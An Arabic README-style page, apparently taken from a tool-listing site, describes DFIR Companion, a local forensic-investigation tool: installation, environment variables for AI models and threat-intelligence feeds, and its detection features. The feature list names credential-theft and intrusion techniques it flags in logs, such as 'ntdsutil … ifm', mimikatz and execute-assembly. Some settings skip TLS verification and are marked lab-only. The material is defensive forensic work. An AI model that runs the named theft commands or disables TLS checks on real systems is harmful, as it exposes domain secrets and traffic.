نزّل dfir-companion-<version>-x86_64.AppImage من صفحة الإصدارات، ثم:``` chmod +x dfir-companion--x86_64.AppImage ./dfir-companion--x86_64.AppImage # → http://127.0.0.1:4773/dashboard

root@kitploit:~
لا يتطلب Node — فهو يضم الخادم ولوحة المعلومات وأدوات الصور. **بياناتك تعيش في الدليل الذي تشغّله منه:** يتم إنشاء/قراءة `cases/` (الأدلة + الحالة) وملف `.env` اختياري (إعدادات الذكاء الاصطناعي / استخبارات التهديدات) بجوار المكان الذي تشغّل منه AppImage. يمكن تجاوزهما عبر `DFIR_CASES_ROOT` (مسار مطلق) و`DFIR_ENV_FILE` (مسار مطلق لملف إعدادات).

### أين تعيش البيانات

| التثبيت                | الحالات + الحالة                      | الإعدادات (`.env`)                    |
| ---------------------- | ------------------------------------- | ------------------------------------- |
| المصدر / `npm run dev` | `companion/cases/`                    | `companion/.env`                      |
| Portable Windows EXE   | `cases/` بجوار ملف EXE                | `.env` بجوار ملف EXE                  |
| Windows (Chocolatey)   | `%LOCALAPPDATA%\DFIR-Companion\cases` | `%LOCALAPPDATA%\DFIR-Companion\.env`  |
| Linux AppImage         | `$PWD/cases` (دليل التشغيل)           | `$PWD/.env` (أو `DFIR_ENV_FILE`)      |
| Docker / Compose       | وحدة تخزين `./cases` المُثبَّتة        | `environment:` / `--env-file`         |

جميع المواقع قابلة للتجاوز عبر `DFIR_CASES_ROOT` (مسار مطلق).

## متغيرات البيئة (`companion/.env`)

تُضبط جميع سلوكيات الرفيق عبر متغيرات البيئة (`companion/.env` أو الصدفة). انسخ `companion/.env.example` للبدء — فهو يحتوي على تعليقات مضمّنة لكل متغير.

### الأساسية

| المتغير | الافتراضي | المعنى |
|---|---|---|
| `DFIR_CASES_ROOT` | `./cases` | موقع مجلد الحالة؛ المسارات النسبية تُحلّ نسبةً إلى `companion/` |
| `DFIR_PORT` | `4773` | منفذ الخادم (يجب أن يطابق الإضافة ولوحة المعلومات) |
| `DFIR_HOST` | `127.0.0.1` | واجهة الربط. يُرفض الربط غير المُصادَق عليه على واجهة غير loopback؛ ويوثّق Docker Compose استثناءه الخاص بـ host-loopback فقط |
| `DFIR_MAX_BODY_MB` | `256` | الحد الأقصى لحجم الرفع بالميغابايت؛ ارفعه إذا فشلت صادرات SIEM/EDR الكبيرة بخطأ HTTP 413 |
| `DFIR_ALLOWED_ORIGINS` | _(لا شيء)_ | أصول المتصفح الإضافية المسموح لها باستدعاء الـ API، مفصولة بفواصل. إضافة الالتقاط وloopback وأي أصل خدمه الرفيق نفسه موثوقة دائمًا، لذا لا يحتاج localhost/LAN/Docker إلى أي إعداد؛ ويُرفض أي أصل ويب آخر. المتصلون الذين لا يرسلون `Origin` (curl، السكربتات، Velociraptor) لا يتأثرون. مطلوب عندما تُقدَّم لوحة المعلومات من **اسم مضيف** — وكيل عكسي أو نشر مستضاف |
| `DFIR_ALLOWED_HOSTS` | _(لا شيء)_ | أسماء المضيفين الإضافية التي يستجيب لها هذا الرفيق، مفصولة بفواصل. تُقبل دائمًا عناوين loopback وعناوين IP المجردة، لذا لا يحتاج localhost وDocker والوصول إلى لوحة المعلومات عبر LAN على `http://192.168.1.50:4773` إلى أي إعداد. يُرفض أي **اسم** غير مُدرَج — وهذا ما يوقف إعادة ربط DNS (موقع معادٍ يوجّه نطاقه الخاص إلى جهازك). اضبط هذا عندما يمرّر وكيل عكسي `Host` يختلف عن الأصل الذي وضعته في `DFIR_ALLOWED_ORIGINS` |
| `DFIR_ALLOWED_HOST_SUFFIXES` | _(لا شيء)_ | مثل ما سبق لكن يُطابَق على لاحقة نطاق، مثل `.lab.example.com`، للمنصات التي تُنشئ اسم مضيف جديدًا لكل جلسة. المطابقة على حدود التسمية، لذا لا يطابق `.acme.com` أبدًا `evilacme.com` |
| `DFIR_LOG_LEVEL` | `info` | مستوى تفصيل السجلات (`debug`/`info`/`warn`/`error`). يُكتب إلى الطرفية + `logs/session-<time>.log` (عام) + `cases/<id>/logs/session-<time>.log` (لكل حالة). يتتبع `debug` استدعاءات الذكاء الاصطناعي والالتقاطات وOCR وإخفاء الهوية والإثراء. يُغيَّر مباشرةً (بدون إعادة تشغيل) عبر الإعدادات → تفصيل السجلات |
| `DFIR_LOG_DIR` | `logs/` بجوار جذر الحالات | مجلد سجل الجلسة **العام**. المسارات النسبية تُثبَّت نسبةً إلى `companion/`. تبقى سجلات كل حالة دائمًا في مجلد الحالة |

### المصادقة (نشر فريق اختياري)

يُفعّل `DFIR_AUTH_MODE=team` تسجيل الدخول عبر OIDC/المحلي، وجلسات المتصفح الآمنة، وأدوار كل حالة، وهويات الخدمة المرتبطة بالحالة. إعدادات المصادقة ومزوّد الهوية هي ضوابط أمنية للنشر: اضبطها في `.env` أو مخزن أسرار، ثم أعد التشغيل. راجع
[دليل حسابات الفريق وأدوار الحالات](https://github.com/hasamba/dfir-companion/blob/master/mkdocs-docs/reference/team-authentication.md) للحصول على
قائمة المتغيرات الكاملة، وإعداد HTTPS، وتهيئة أول مسؤول، ومصفوفة الأدوار، ورمز الإضافة،
ونموذج عملية الكاتب الواحد.

### الذكاء الاصطناعي — الاستخراج (مطلوب لتفعيل التحليل)

| المتغير | الافتراضي | المعنى |
|---|---|---|
| `DFIR_VISION_PROVIDER` | — | `openai` \| `openrouter` \| `ollama` \| `litellm` \| `gemini` \| `anthropic` \| `claude-code`؛ غير مضبوط = الالتقاط فقط |
| `DFIR_VISION_MODEL` | — | معرّف النموذج (مثل `gpt-4o-mini`، `gemini-2.5-flash`)؛ **يجب أن يدعم الرؤية** لاستخراج لقطات الشاشة |
| `DFIR_VISION_KEY` | — | مفتاح API للمزوّد؛ اتركه فارغًا لوكيل محلي بدون مصادقة أو لـ `claude-code` (يستخدم اشتراك CLI `claude` المسجَّل دخوله بدلاً من ذلك) |
| `DFIR_AI_CLAUDE_CODE_BIN` | `claude` على PATH | لـ `claude-code` فقط: المسار المطلق لملف `claude` الثنائي إذا لم يكن على PATH |
| `DFIR_VISION_BASE_URL` | افتراضي المزوّد | تجاوز عنوان URL الأساسي — لوكيل LiteLLM محلي أو أي نقطة نهاية متوافقة مع OpenAI |
| `DFIR_AI_TIMEOUT_MS` | `900000` | مهلة كل طلب (مللي ثانية)؛ تحتاج مزوّدات CLI (claude-code، codex) دقائق على جدول زمني كبير |
| `DFIR_AI_MAX_TOKENS` | `16000` | الحد الأقصى لرموز الإكمال؛ القيمة المنخفضة جدًا تقتطع التوليف، وتمنع خطأ OpenRouter 402 عند الرصيد المنخفض |
| `DFIR_AI_SYNTH_MAX_EVENTS` | `600` | الحد الأقصى للأحداث الجنائية المُرسَلة إلى التوليف؛ تحصل الأحداث الحرجة/العالية دائمًا على نتيجة بغض النظر |
| `DFIR_REPORT_SYNTH_COVERAGE` | _(معطّل)_ | اضبطه على قيمة صحيحة لإضافة حاشية **§3.4 تغطية التوليف** إلى التقرير — "تم النظر في N من M حدثًا داخل النافذة (K محذوف: الميزانية/التصفية)"، وتقدير الرموز، وكم من الإغفالات عالية الخطورة استعادها ملء شبكة الأمان. تعرض بطاقة synth-meta في لوحة المعلومات هذا السطر دائمًا؛ يتحكم هذا العلم فقط فيما إذا كان يظهر أيضًا في التقرير المُصدَّر |
| `DFIR_REPORT_MODEL_PERF` | _(معطّل)_ | اضبطه على قيمة صحيحة لإضافة حاشية **§3.5 أداء النموذج** إلى التقرير — نموذج التوليف، وعدد النتائج مقابل كم كان على ملء شبكة الأمان إضافتها، وإعادات المحاولة في التحليل، و(عند تشغيل رأي ثانٍ) كم مرة اتفق `DFIR_AI_SECOND_OPINION_MODEL` مع `DFIR_AI_MODEL`/`DFIR_AI_SYNTH_MODEL`. تعرض بطاقة synth-meta في لوحة المعلومات هذا دائمًا؛ يتحكم هذا العلم فقط فيما إذا كان يظهر أيضًا في التقرير المُصدَّر |
| `DFIR_AI_CONTEXT_TOKENS` | `128000` | نافذة سياق النموذج؛ ارفعها لـ Claude/Gemini (200k/1M) لإرسال المزيد في كل استدعاء |
| `DFIR_VISION_IMAGE_DETAIL` | `high` | `high` \| `low` \| `auto` (OpenAI/OpenRouter)؛ يجزّئ `high` بدقة كاملة لـ OCR النصوص الصغيرة |
| `DFIR_AI_AUTO_SYNTHESIZE` | `on` | إعادة التوليف أثناء الالتقاط: `on` \| `off` |
| `DFIR_AI_AUTO_SYNTHESIZE_MS` | `8000` | نافذة التهدئة قبل تشغيل التوليف التلقائي (مللي ثانية) |
| `DFIR_FLUSH_INTERVAL_MS` | `300000` | تفريغ شبكة الأمان لمخازن الالتقاط المتبقية (مللي ثانية)؛ `0` يعطّله |
| `DFIR_ANONYMIZE` | `on` | ترميز عناوين IP/المضيفين/المستخدمين/المسارات الخاصة بالضحية قبل استدعاءات الذكاء الاصطناعي: `on` \| `off` |
| `DFIR_PRESIDIO_URL` | _(غير مضبوط)_ | اختياري: عنوان URL الأساسي لحاوية [Presidio](https://github.com/hasamba/dfir-companion/blob/master/mkdocs-docs/reference/presidio.md) Analyzer مُدارة ذاتيًا (مثل `http://localhost:5002`) تفحص النص المُقنَّع مسبقًا بحثًا عن الأسماء وغيرها من المعلومات الشخصية التي لا تستطيع regex التقاطها. غير مضبوط = الميزة معطّلة. |
| `DFIR_PRESIDIO_MIN_SCORE` | `0.6` | الحد الأدنى للثقة (0–1) لنتائج Presidio؛ القيم الفارغة/غير الرقمية ترجع إلى الافتراضي، والقيم خارج النطاق تُقيَّد |
| `DFIR_PRESIDIO_TIMEOUT_MS` | `60000` | الميزانية لطلب `/analyze` واحد (تُجزَّأ الفحوصات؛ تحصل كل قطعة على الميزانية الكاملة). ارفعه لمحلل بطيء أو مشترك؛ القيم الفارغة/غير الرقمية/≤0 ترجع إلى الافتراضي |

> أُعيدت تسمية متغيرات لقطة الشاشة/الرؤية أعلاه (`DFIR_VISION_PROVIDER` / `DFIR_VISION_MODEL` / `DFIR_VISION_KEY` / `DFIR_VISION_BASE_URL` / `DFIR_VISION_IMAGE_DETAIL`) من بادئة `DFIR_AI_*`؛ لا تزال الأسماء القديمة `DFIR_AI_PROVIDER` / `DFIR_AI_MODEL` / `DFIR_AI_KEY` / `DFIR_AI_BASE_URL` / `DFIR_AI_IMAGE_DETAIL` تعمل كبديل مهمَل (يفوز الاسم الجديد عند ضبط كليهما).

**Claude Code** — يستخدم اشتراك Claude المسجَّل دخوله عبر CLI `claude`، بدون مفتاح API؛ يتعامل
مع الرؤية + النص (استخراج لقطات الشاشة *و* التوليف). يتطلب تثبيت CLI `claude` وإكمال
`claude auth login` على المضيف. يستهلك حدود معدل اشتراكك (قد يستنفدها الاستخراج المكثف)؛
التكلفة المُبلَّغة مكافئة لـ API، وليست من الجيب. تعرض الإعدادات → الذكاء الاصطناعي حالة
اتصال (غير مثبّت / غير متصل / متصل) مع إجراء اتصال بنقرة واحدة.

### الذكاء الاصطناعي — نموذج النص (مستويان، اختياري)

الانقسام هو **الرؤية مقابل النص**: يقرأ `DFIR_VISION_MODEL` لقطات الشاشة (يجب أن يكون متعدد الوسائط)؛ ويقوم نموذج `DFIR_AI_SYNTH_*` بـ**كل أعمال النص** — استخراج CSV، وفرز السجلات، والتوليف، والسؤال/الشرح. إذا لم يُضبط، تعيد أعمال النص استخدام `DFIR_VISION_MODEL`.

**Codex** — اضبط `DFIR_AI_SYNTH_PROVIDER=codex` (صالح أيضًا لمزوّدي velo / الرأي الثاني)
لتشغيل أعمال النص عبر **Codex CLI** المحلي من OpenAI (`codex exec`)، باستخدام مصادقة codex
المحيطة بك — `codex login` أو `OPENAI_API_KEY`، **بدون `DFIR_AI_KEY`**. Codex **نصي فقط** (لا
يستطيع قراءة لقطات الشاشة)، لذا اقرنه بمزوّد رؤية للاستخراج؛ يرسل البيانات إلى OpenAI
(غير محلي). يتطلب تثبيت `@openai/codex`. يوجّه `DFIR_AI_CODEX_BIN` الاختياري إلى `codex`
غير الموجود على PATH. تعرض الإعدادات → الذكاء الاصطناعي حالة اتصال codex (غير مثبّت / غير متصل /
متصل) مع إجراء اتصال بنقرة واحدة.

موصى به: نموذج رؤية رخيص للقطات الشاشة، ونموذج استدلال قوي للنص. لا تقتصد في نموذج النص — فالنموذج الضعيف يفشل في فرز السجلات *بصمت*، فيعيد لا أحداث بدلاً من أحداث خاطئة (`npm run eval:real` يقيس هذا بالضبط).

| المتغير | الافتراضي | المعنى |
|---|---|---|
| `DFIR_AI_SYNTH_PROVIDER` | = `DFIR_VISION_PROVIDER` | مزوّد أعمال النص (CSV/السجل/التوليف) |
| `DFIR_AI_SYNTH_MODEL` | = `DFIR_VISION_MODEL` | معرّف نموذج النص — استخراج CSV/السجل + التوليف (مثل `gpt-4o`، `gemini-2.5-pro`، `claude-sonnet-4-6`) |
| `DFIR_AI_SYNTH_KEY` | = `DFIR_VISION_KEY` | مفتاح API لنموذج النص |
| `DFIR_AI_SYNTH_BASE_URL` | = `DFIR_VISION_BASE_URL` | عنوان URL الأساسي للتوليف |

### الذكاء الاصطناعي — نموذج صيد Velociraptor (اختياري)

نموذج مخصص يُستخدم **فقط** لتوليد عمليات صيد Velociraptor VQL (ميزتا *Suggest Velociraptor hunts* / *Fleet Hunts*)، منفصل عن الاستخراج/التوليف/OCR — كثير من النماذج تخطئ في VQL. قابل للتحرير أيضًا في **الإعدادات → الذكاء الاصطناعي**.

| المتغير | الافتراضي | المعنى |
|---|---|---|
| `DFIR_AI_VELO_PROVIDER` | `openrouter` | مزوّد توليد صيد VQL |
| `DFIR_AI_VELO_MODEL` | `anthropic/claude-haiku-4.5` | معرّف النموذج لتوليد صيد VQL |
| `DFIR_AI_VELO_KEY` | = `DFIR_VISION_KEY` | مفتاح API (يعيد استخدام المفتاح الرئيسي عند تركه فارغًا) |
| `DFIR_AI_VELO_BASE_URL` | = `DFIR_VISION_BASE_URL` | تجاوز عنوان URL الأساسي |

### الذكاء الاصطناعي — مطالبات مخصصة (اختياري)

لكل مطالبة شكلان للتجاوز (بترتيب الأولوية): `DFIR_AI_<NAME>_PROMPT` (نص مضمّن، يُقرأ عند بدء التشغيل) و`DFIR_AI_<NAME>_PROMPT_FILE` (مسار ملف، يُعاد قراءته في كل استدعاء — عدّله فيُطبَّق فورًا). يكتب `npm run prompts:eject` الإعدادات الافتراضية المضمّنة كنقطة انطلاق.

| اسم المطالبة | رمز `<NAME>` |
|---|---|
| استخراج لكل لقطة شاشة | `SYSTEM` |
| فرز استيراد CSV | `CSV` |
| فرز استيراد السجل | `LOG` |
| التوليف الشامل | `SYNTH` |
| أسئلة وأجوبة الحالة | `ASK` |
| الملخص التنفيذي | `EXEC` |
| الجدول الزمني السردي | `NARRATIVE` |
| عمليات صيد الأسطول المقترحة | `HUNTS` |
| عمليات صيد دليل اللعب المقترحة | `PBHUNTS` |
| فرضيات فجوات الجدول الزمني | `GAPHYP` |
| مترجم الاستعلامات (NL → استعلام) | `QUERYXLATE` |

### إثراء استخبارات التهديدات (اختياري — معطّل افتراضيًا)

أضف مفتاحًا لتفعيل ذلك المزوّد. جميع المزوّدين الخارجيين اختياريون لكل حالة من لوحة المعلومات.

| المتغير | الافتراضي | المعنى |
|---|---|---|
| `DFIR_VT_KEY` | — | مفتاح API لـ VirusTotal (hash / IP / domain / URL) |
| `DFIR_HUNTINGCH_KEY` | — | مفتاح Auth-Key لـ abuse.ch لـ Hunting.ch (MalwareBazaar · ThreatFox · URLhaus · YARAify)؛ يرجع إلى `DFIR_MB_KEY` |
| `DFIR_MB_KEY` | — | مفتاح abuse.ch القديم — يشغّل Hunting.ch؛ يُفضَّل `DFIR_HUNTINGCH_KEY` |
| `DFIR_ABUSEIPDB_KEY` | — | مفتاح API لـ AbuseIPDB (سمعة IP) |
| `DFIR_CROWDSTRIKE_CLIENT_ID` | — | معرّف عميل OAuth2 لـ CrowdStrike Falcon TI |
| `DFIR_CROWDSTRIKE_CLIENT_SECRET` | — | سر OAuth2 لـ CrowdStrike (يحتاج *Indicators: Read* + *MalQuery: Read*) |
| `DFIR_CROWDSTRIKE_CLOUD` | `us-1` | سحابة المستأجر: `us-1` \| `us-2` \| `eu-1` \| `gov-us-1` \| `gov-us-2` |
| `DFIR_CROWDSTRIKE_BASE_URL` | من السحابة | عنوان URL أساسي صريح للـ API (يتجاوز `DFIR_CROWDSTRIKE_CLOUD`) |
| `DFIR_ROCKYRACCOON_KEY` | — | مفتاح RockyRaccoon لانتشار عمليات Windows / LOLBIN / ATT&CK |
| `DFIR_MISP_URL` | — | عنوان URL لنسخة MISP — يلزم كل من URL + المفتاح للإثراء والدفع |
| `DFIR_MISP_KEY` | — | مفتاح مصادقة MISP API |
| `DFIR_MISP_CA` | — | حزمة PEM CA لـ MISP بشهادة داخلية (يبقى التحقق مفعّلاً) |
| `DFIR_MISP_INSECURE` | — | `=1` لتخطي التحقق من TLS (للمختبر فقط) |
| `DFIR_MISP_DISTRIBUTION` | `0` | توزيع الحدث الجديد: `0`=المؤسسة، `1`=المجتمع، `2`=المتصل، `3`=الكل |
| `DFIR_MISP_ANALYSIS` | `1` | حالة تحليل الحدث الجديد: `0`=أولي، `1`=جارٍ، `2`=مكتمل |
| `DFIR_MISP_TIMELINE_LIMIT` | `5000` | الحد الأقصى لأحداث الجدول الزمني الجنائي لكل دفع؛ بعد الحد يُحتفظ بالأشد خطورة ويُحذّر الدفع |
| `DFIR_YETI_URL` | — | عنوان URL لنسخة YETI — يلزم كل من URL + المفتاح |
| `DFIR_YETI_KEY` | — | مفتاح YETI API |
| `DFIR_YETI_CA` | — | حزمة PEM CA لـ YETI بشهادة داخلية |
| `DFIR_YETI_INSECURE` | — | `=1` لتخطي التحقق من TLS (للمختبر فقط) |
| `DFIR_OPENCTI_URL` | — | عنوان URL لنسخة OpenCTI — يلزم كل من URL + المفتاح (hash/ip/domain/url) |
| `DFIR_OPENCTI_KEY` | — | رمز OpenCTI API |
| `DFIR_OPENCTI_CA` | — | حزمة PEM CA لـ OpenCTI بشهادة داخلية |
| `DFIR_OPENCTI_INSECURE` | — | `=1` لتخطي التحقق من TLS (للمختبر فقط) |
| `DFIR_OPENCTI_MALICIOUS_SCORE` | `75` | عتبة `x_opencti_score` لحكم الخبث |
| `DFIR_RDAP_URL` | `https://rdap.org` | أساس WHOIS-over-RDAP (بدون مفتاح؛ تمهيد IANA إلى RIR المالك) |
| `DFIR_GEOIP_URL` | `https://ipinfo.io/{ip}/json` | قالب URL لـ GeoIP (HTTPS بدون مفتاح؛ يُستبدل `{ip}`؛ يتسامح المحلل أيضًا مع ip-api.com + ipwho.is) |
| `DFIR_GEOIP_KEY` | — | مفتاح GeoIP اختياري (يملأ `{key}`، وإلا يُلحق كـ `?token=`) لخلفية مدفوعة/مُدارة ذاتيًا |
| `DFIR_SHODAN_KEY` | — | مفتاح Shodan API — يشغّل أيضًا مُثري بحث مضيف Shodan (مشترك مع تعرّض العملاء) |
| `DFIR_HASHLOOKUP_URL` | `https://hashlookup.circl.lu` | أساس CIRCL hashlookup (بحث ملفات معروفة بدون مفتاح لمؤشرات hash)؛ تجاوزه لمرآة مُدارة ذاتيًا / معزولة |
| `DFIR_ENRICH_DELAY_MS` | `1500` | التهدئة بين عمليات البحث (مللي ثانية) |
| `DFIR_ENRICH_JITTER_MS` | `0` | ± اهتزاز عشوائي يُضاف إلى الانتظار بين الاستدعاءات (مللي ثانية)؛ يوزّع التشغيلات المتوازية/المتراصفة حتى لا تصطدم كلها بنافذة حد معدل المزوّد معًا |
| `DFIR_ENRICH_RETRIES` | `2` | محاولات إعادة لاستدعاء مزوّد يصطدم بـ 429، مع احترام `Retry-After` عندما يرسله المزوّد، قبل احتسابه خطأً |

Read more

تنزيل الأداة
الأصول المخترقة
  • ترتيب المضيفين والحسابات — أي المضيفين/الحسابات تحمل الهجوم، مُقيّمة بالإشارة (أحداث موزونة بالخطورة + تقنيات + مؤشرات اختراق رابطة) وليس بالحجم، مع نافذة نطاق مقترحة بنقرة واحدة؛ انقر على صف مرتّب لتوسيع الأحداث/مؤشرات الاختراق وراء درجته مضمّنة (بحد أقصى 50 لكل منها) والانتقال مباشرة إلى حدث مُستشهد به في الخط الزمني
  • الأسئلة التحقيقية الرئيسية — مجاب عنها مع مؤشرات إلى الأدلة أو الخطوات التالية للجمع
  • خيوط التحقيق — خيوط مفتوحة/محلولة
  • إعدادات مسبقة لعرض لوحة التحكم — تخطيطات بنقرة واحدة للمحلل/القائد/التنفيذي (الدور) + الفرز/التقرير/التعمق/التحضير للصيد (المرحلة) تعيد ترتيب اللوحات، وتصفّي حسب الخطورة، وتقرن قالب تقرير؛ لكل قضية، وقابلة للتحرير بالكامل. Analyst هو الافتراضي لأي قضية بلا اختيار محفوظ لكل قضية؛ واختيار Custom صراحةً يظل ثابتًا عبر عمليات إعادة التحميل
  • التقارير — تصديرات Markdown، وHTML، وPDF، وWord (.docx)، وCSV، وJSON
  • .evtx
  • MCP عبر Claude Code (Settings → Tools) — أرسل أدلة القضية إلى خوادم MCP التي هيّأتها في Claude Code (SIFT، وREMnux، وwindows-triage)؛ يتطلب Claude Code على المضيف. خادم مع مشغّل أوامر يعني تنفيذ أوامر هناك — اقرأ استخدام خوادم MCP الخاصة بك أولًا
  • تراجع/إعادة الاستيراد — تراجع/تقدّم إلى حالة ما قبل الاستيراد الدقيقة (بلا إعادة توليف)؛ مكدّس متعدد المستويات لكل قضية
  • مستوردات مخصصة (تعريفية) — علّم تنسيق ملف جديد بتعريف JSON (بلا كود)؛ قابل للتأليف بواسطة LLM عبر مطالبة مضمّنة، ويُكتشف تلقائيًا + يُستورد مثل المضمّن، مع أسبقية للمضمّن/المخصص
  • الأدلة أولًا — تُكتب على القرص + سجل التدقيق قبل التحليل؛ إزالة التكرار بـ SHA-256 (عطّل عبر DFIR_DEDUP=off)
  • سلسلة الحفظ — كل لقطة شاشة واستيراد يحصل على سجل حفظ تلقائي مربوط بالتجزئة مع بيان موقّع
  • أدلة إجراءات تلقائية حسب نوع الحادثة — اختيار نوع حادثة يبذر الأسئلة الرئيسية، والخطوات التالية، والنتائج المتوقعة
  • بحث نصي كامل بـ OCR للقطات الشاشة — كل لقطة شاشة ملتقطة تُعالج بـ OCR محليًا في الخلفية؛ ابحث في النص المرئي في لوحات التحكم (اسم المضيف، "mimikatz"، تجزئة، خطأ) من شريط التصفية وانتقل إلى لقطة الشاشة. بلا ذكاء اصطناعي، محلي فقط (DFIR_OCR_SEARCH=off للتعطيل؛ npm run ocr-index للتعبئة الرجعية)
  • Localhost فقط — 127.0.0.1 مع CORS + Private-Network-Access للإضافة؛ يرفض أسماء المضيفين غير المعروفة، مما يسد هجمات إعادة ربط DNS (DFIR_ALLOWED_HOSTS)
  • THOR (Nextron)
    Suricata / Zeek
    eve.json
    Snort / Suricata IDS (fast)
    alert_fast
    أولوية
    YARA
    yara -s -m
    score
    threat_level
    سجل وصول الويب/الوكيل
    combined
    HTTP Referer، وUser-Agent
    syslog جدار حماية Cisco ASA
    %ASA-#-######:
    Deny
    Syslog (عادي)
    <PRI>1 …
    Mmm dd …
    Security Onion
    event.severity_label
    SO-CRATES
    /api/events
    /api/sigma-alerts
    Cyber Triage
    M365 / Entra ID
    Okta
    Google Workspace
    Hindsight (المتصفح)
    macOS
    log show --style json
    com.apple.quarantine
    .sfl2
    iLEAPP / ALEAPP
    AWS CloudTrail
    GCP / Azure
    تدقيق Kubernetes
    audit.k8s.io
    osquery
    columns
    snapshot
    Plaso
    psort
    تقارير صندوق الرمل
    report.json
    التحليل الجنائي للذاكرة
    -r json
    Intact (VolWeb مُقلَّم)
    memory_payload.json
    yarascan_results.jsonl
    TheHive
    البريد الإلكتروني
    .eml
    .msg
    سجل الصدفة
    .bash_history
    .zsh_history
    HISTTIMEFORMAT
    #epoch
    استمرارية Linux
    Linux auditd
    audit.log
    ausearch
    aureport
    systemd journald
    journalctl -o json
    -o json-pretty
    sysdig / Falco
    -j
    Wazuh
    alerts.json
    GET /security/events
    rule.level
    CSV
    سجلات عامة
  • حلقات Defender — بدء عملية من مسار اتخذ Defender إجراءً عليه، مؤرخ بعد ذلك الإجراء، يُعلَّق عليه ويُرفَع؛ بدء بنفس البصمة بعد المعالجة هو اكتشاف عالي
  • خيط ثنائي منسوخ — صف MFT وقت تعديله يسبق وقت إنشائه نُسخ إلى هنا (‏cmd.exe مُعاد تسميته، أداة مُسقَطة)
  • آثار execute-assembly (T1620) — سجل استخدام CLR مسمّى باسم rundll32 أو mshta أو مضيف مشابه يُصنَّف عاليًا
  • أوامر الاستكشاف في كتل النصوص البرمجية — nltest، Get-AD*، ntdsutil … ifm وما شابه تُقرأ من سجلات 4104/4103 مع تقنياتها
  • جامع الحالة نفسه ليس دليلًا — تنزيلات Velociraptor وتثبيتاته وPowerShell المُشتق وملفات القواعد تُصنَّف معلوماتية بأصل جامع
  • ملخصات دورة حياة السحابة — صف واحد لكل سلالة بيانات اعتماد AWS، ودورة حياة مثيل EC2، وعميل OAuth في Workspace، وسلسلة صندوق بريد Exchange، ومسار صلاحيات تطبيق Entra التي تشكّل سجلاتها سلسلة واحدة داخل رفع؛ كل منها يوضّح ما تثبته سجلاته وما لا تثبته
  • علاقات الشبكة — TLS (‏Zeek ssl/x509، Suricata tls) يصبح صفًا واحدًا لكل علاقة ولكل شهادة؛ تُربط إجابات DNS باتصالات نفس العميل اللاحقة داخل مدة TTL؛ سلاسل طلبات الويب تُربط فقط عبر المُعرّفات التي يحملها كلا السجلين
  • وسوم أصل الجوال — كل صف iLEAPP / ALEAPP يوضّح ما إذا كان محتواه مسجّلًا على هذا الجهاز، أو مُزامَنًا، أو مُستلَمًا، من سجل مرتبط بالمصدر الأصلي
  • أوامر أخرى في هذه الجلسة — كل اكتشاف يسرد أسطر أوامر جلسة الهجوم التي لا يسمّيها أي اكتشاف
  • قواعد موسّم المحتوى بمساعدة الذكاء الاصطناعي — صِف قاعدة بالإنجليزية العادية؛ الذكاء الاصطناعي يصوغها ويعاينها ويضيفها
  • إخفاء هوية مدخلات الذكاء الاصطناعي — يرمّز بشكل قابل للعكس عناوين IP والمستخدمين والمضيفات والنطاقات والبريد الإلكتروني والمسارات وأرقام البطاقات/الهواتف/الهوية الوطنية والأوامر المُشفَّرة وSIDs؛ ويحجب الأسرار بشكل أحادي الاتجاه. Presidio الاختياري يلتقط الأسماء، مع بوابة موافقة
  • نتيجة الهجوم على محورين — كل نتيجة تسجّل التنفيذ (مُلاحَظ / غير مُلاحَظ) والتحكم (محظور / مُعالَج / فاشل / مسموح / لا شيء) بشكل منفصل، يضبطه المحلل ويصمد أمام التركيب؛ الهجوم المحظور لا يُستبعد ولا يُترك مفتوحًا عند High
  • مهام النتائج — كل نتيجة Critical/High تصبح مهمة playbook إلزامية مُسمّاة بالأدلة مع خطوات مرقّمة وسطر Done-when
  • Handoff Brief — لوحة تغيير الوردية: النتائج حسب المالك، والأسئلة والفرضيات المفتوحة، والخطوات التالية، وIOCs غير المفحوصة، وآخر استيراد، وملاحظة المحلل المغادر؛ نسخ كـ Markdown، وقسم تقرير اختياري
  • تحليلات النطاق المُعلَن — نطاق حملة التصيّد، والتعرض المُقدَّم، وسلسلة Kerberoast، والوصول الحساس: أعلِن ما يهم واقرأ ما تُثبته الصفوف، مرحلة بمرحلة
  • فحوصات التكرار بعد المعالجة — أعلِن حدًّا للمعالجة؛ يُعيد Verify حقائق مع بيان التغطية، ولا يُصدر حكمًا سلبيًا أبدًا؛ وحالة المخاطر المتبقية هي حالة المحلل، مسجّلة مقابل إيصال غير قابل للتغيير
  • خيوط فجوة النسب — بجانب كل تأكيد نسب، التقنيات التي تُوثَّق مجموعة ATT&CK باستخدامها ولم تُظهرها هذه القضية، كخيوط بحث
  • ذاكرة القضية — يسجّل التركيب كل تشغيل في Investigation Log دائم لا يُمحى أبدًا؛ وكتلة known unknowns (فجوات الجدول الزمني، ومراحل ATT&CK غير المغطاة، والتقنيات التالية للفاعلين المتشابهين) تُؤسّس التركيب + اقتراحات البحث؛ وفرضيات فاعلين مرشحين اختيارية (DFIR_SYNTH_ADVERSARY_HINTS)
  • توجيهات جمع منظّمة وقابلة للنشر — توصيات "collect X" تحمل هدفًا قابلًا للتنفيذ آليًا؛ نشر بنقرة واحدة على مضيف معروف، مع رضا استيراد مكتشَف تلقائيًا
  • لوحة Evidence Gaps — مراحل سلسلة القتل غير المغطاة تُعرض كعناصر منظّمة مع توجيه جمع قابل للنشر، في لوحة معلومات وقسم التقرير §4.6.3
  • خطة الجمع — قائمة تحقق أدلة حسب نوع الحادث كلوحة معلومات؛ والعناصر تُعلَّم تلقائيًا عند وصول الأدلة المطابقة
  • إعادة بناء جلسة المهاجم / القصة — الجدول الزمني يُعاد نسجه في فصول جلسات لكل مضيف، مع ملخصات AI وقسم تقرير
  • كشف انحراف الساعة ومواءمة الجدول الزمني — يعلّم انحراف ساعة المضيف بما يتجاوز 60 ثانية؛ ومفتاح "Align timelines" يصحّحه في كل مكان
  • لوحة Playbook Match — هل حدثت تقنيات القضية بالترتيب الذي يصفه playbook منشور (Conti، LockBit، BlackCat، Akira، Scattered Spider، Black Basta، BlackSuit، Play، Egg-Cellent Resume)؛ والخطوات المفقودة تغذّي Evidence Gaps. يطابق الـ playbook، لا الفاعل
  • تحذيرات الاستيراد بلا نتائج — يعلّم ملفًا كبيرًا فُرز بـ AI أنتج صفر أحداث، على لافتة الاستيراد ولوحة Evidence Gaps
  • Second look — تمريرة يضغطها المحلل تحلّ الأسئلة المفتوحة مقابل الجدول الزمني الفائق، وتعرض معاينة لما سترقّيه، ثم تعيد تشغيل الاستنتاجات
  • سلسلة الإيجابيات الكاذبة الفورية — وسم نتيجة/IOC/حدث كـ FP يعيد تقييم الأسئلة والخطوات التالية والفرضيات التابعة بشكل متزامن
